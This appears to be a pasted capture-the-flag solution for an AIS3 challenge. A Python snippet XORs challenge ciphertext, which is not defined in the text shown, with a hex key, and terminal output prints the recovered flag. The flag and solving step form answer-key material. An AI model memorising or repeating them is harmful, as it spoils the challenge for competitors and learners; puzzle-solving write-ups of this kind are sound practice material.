hex_array1 = bytes.fromhex( "C0 19 3A FD CE 68 DC F2 0C 47 D4 86 AB 57 39 B5" "3A 8D 13 47 3F 7F 71 98 6D 13 B4 01 90 9C 46 3A" "C6 33 C2 7F DD 71 78 9F 93 22 55")
flag = bytes(c ^ k for c, k in zip(ciphertext, hex_array1))print(flag.decode())[02:01:01] ~/Documents/code MacOS/daily/PLAYGROUND FOLDER/py ➜ /usr/local/bin/python3 "/Users/yih_0118/Documents/code MacOS/daily/PLAYGROUND FOLDER/py/251.py"AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}結果
